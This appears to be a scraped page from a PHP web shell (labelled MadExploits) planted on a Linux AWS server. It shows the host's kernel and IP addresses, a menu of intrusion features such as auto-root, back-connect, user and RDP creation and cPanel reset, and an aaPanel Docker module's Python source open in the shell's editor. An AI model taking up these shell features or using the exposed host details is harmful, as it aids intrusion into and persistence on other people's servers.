Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 3.128.173.223
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
www /
server /
panel /
class_v2 /
btdockerModelV2 /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
config
[ DIR ]
drwxr-xr-x
dockerSock
[ DIR ]
drwxr-xr-x
script
[ DIR ]
drwxr-xr-x
appModel.py
2.68
KB
-rw-r--r--
backupModel.py
7.32
KB
-rw-r--r--
composeModel.py
44.81
KB
-rw-r--r--
containerModel.py
84.01
KB
-rw-r--r--
dk_public.py
7.83
KB
-rw-r--r--
dkgroupModel.py
11.07
KB
-rw-r--r--
dockerBase.py
4.47
KB
-rw-r--r--
host.py
2.06
KB
-rw-r--r--
imageModel.py
35.43
KB
-rw-r--r--
monitorModel.py
3.92
KB
-rw-r--r--
networkModel.py
12.1
KB
-rw-r--r--
projectModel.py
22.59
KB
-rw-r--r--
proxyModel.py
13.71
KB
-rw-r--r--
registryModel.py
14.26
KB
-rw-r--r--
screen.py
2.86
KB
-rw-r--r--
securityModel.py
69.8
KB
-rw-r--r--
setupModel.py
32.98
KB
-rw-r--r--
statusModel.py
9.64
KB
-rw-r--r--
volumeModel.py
6.27
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : appModel.py
# coding: utf-8 # ------------------------------------------------------------------- # aaPanel # ------------------------------------------------------------------- # Copyright (c) 2014-2099 aaPanel(www.aapanel.com) All rights reserved. # ------------------------------------------------------------------- # Author: wzz <wzz@aapanel.com> # ------------------------------------------------------------------- # ------------------------------ # Docker模型 - Docker应用 # ------------------------------ import public import os import time import json import re from btdockerModelV2 import dk_public as dp from btdockerModelV2.dockerBase import dockerBase from public.validate import Param class main(dockerBase): def __init__(self): pass # 2024/2/20 下午 4:31 获取/搜索docker应用的列表 def get_app_list(self, get=None): ''' @name 获取docker应用的列表 @author wzz <2024/2/20 下午 4:32> @param "data":{"参数名":""} <数据类型> 参数描述 @return dict{"status":True/False,"msg":"提示信息"} ''' try: from btdockerModelV2 import registryModel as dr dr.main().registry_list(get) from panelPlugin import panelPlugin pp = panelPlugin() get.type = 10 # get.type = 16 # dev docker # get.type = 14 # www docker get.force = get.force if "force" in get and get.force else 0 if not hasattr(get, "query"): get.query = "" get.tojs = "soft.get_list" # softList = pp.get_soft_list(get) if get.query != "": get.row = 1000 softList = pp.get_soft_list(get) softList['list'] = self.struct_list(softList['list']) softList['list'] = pp.get_page(softList['list']['data'], get) else: softList = pp.get_soft_list(get) return public.return_message(0, 0, softList['list']) except Exception as e: # public.print_log("1111111111 进方法") return public.return_message(-1, 0, e) # 2024/2/20 下午 4:47 处理云端软件列表,只需要list中type=13的数据 def struct_list(self, softList: dict): ''' @name 处理云端软件列表,只需要list中type=13的数据 @param softList: @return: ''' new_list = [] for i in softList['data']: # if i['type'] == 14: # www docker # if i['type'] == 16: # dev docker if i['type'] == 10: new_list.append(i) softList['data'] = new_list return softList
Close